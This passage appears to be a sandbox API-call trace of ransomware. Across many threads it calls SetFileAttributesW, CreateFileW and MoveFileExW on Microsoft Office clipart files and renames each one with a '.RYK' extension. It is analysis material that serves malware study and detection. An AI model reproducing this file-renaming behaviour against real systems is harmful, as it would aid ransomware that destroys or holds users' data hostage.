	[0256.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF", dwFileAttributes=0x80) returned 0
	[0256.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.219] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3488
	os_tid = 0x564

	[0256.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID", dwFileAttributes=0x80) returned 0
	[0256.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.220] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3507
	os_tid = 0x3c24

	[0258.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", dwFileAttributes=0x80) returned 0
	[0258.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3508
	os_tid = 0x3c28

	[0258.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF", dwFileAttributes=0x80) returned 0
	[0258.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.396] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3509
	os_tid = 0x3c2c

	[0258.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", dwFileAttributes=0x80) returned 0
	[0258.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3510
	os_tid = 0x3c30

	[0258.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", dwFileAttributes=0x80) returned 0
	[0258.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.399] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3511
	os_tid = 0x3c34

	[0258.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", dwFileAttributes=0x80) returned 0
	[0258.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3512
	os_tid = 0x3c38

	[0258.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", dwFileAttributes=0x80) returned 0
	[0258.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3513
	os_tid = 0x3c3c

	[0258.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", dwFileAttributes=0x80) returned 0
	[0258.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.656] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3514
	os_tid = 0x3c40

	[0258.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", dwFileAttributes=0x80) returned 0
	[0258.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3515
	os_tid = 0x3c44

	[0258.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", dwFileAttributes=0x80) returned 0
	[0258.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.659] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3516
	os_tid = 0x3c48

	[0258.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", dwFileAttributes=0x80) returned 0
	[0258.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.661] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3517
	os_tid = 0x3c4c

	[0258.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", dwFileAttributes=0x80) returned 0
	[0258.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3518
	os_tid = 0x3c50

	[0258.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", dwFileAttributes=0x80) returned 0
	[0258.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.408] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3519
	os_tid = 0x3c54

	[0258.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", dwFileAttributes=0x80) returned 0
	[0258.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.410] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3520
	os_tid = 0x3c58

	[0258.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", dwFileAttributes=0x80) returned 0
	[0258.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.411] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.411] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3521
	os_tid = 0x3c5c

	[0258.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", dwFileAttributes=0x80) returned 0
	[0258.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3523
	os_tid = 0x3c64

	[0258.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", dwFileAttributes=0x80) returned 0
	[0258.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.665] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3524
	os_tid = 0x3c68

	[0258.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", dwFileAttributes=0x80) returned 0
	[0258.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3525
	os_tid = 0x3c6c

	[0258.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", dwFileAttributes=0x80) returned 0
	[0258.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.668] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3526
	os_tid = 0x3c70

	[0258.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", dwFileAttributes=0x80) returned 0
	[0258.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.225] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3527
	os_tid = 0x3c74

	[0258.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", dwFileAttributes=0x80) returned 0
	[0258.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.224] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3528
	os_tid = 0x3c78

	[0258.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", dwFileAttributes=0x80) returned 0
	[0258.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.223] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3529
	os_tid = 0x3c7c

	[0258.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF", dwFileAttributes=0x80) returned 0
	[0258.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.222] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3530
	os_tid = 0x3c80

	[0258.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF", dwFileAttributes=0x80) returned 0
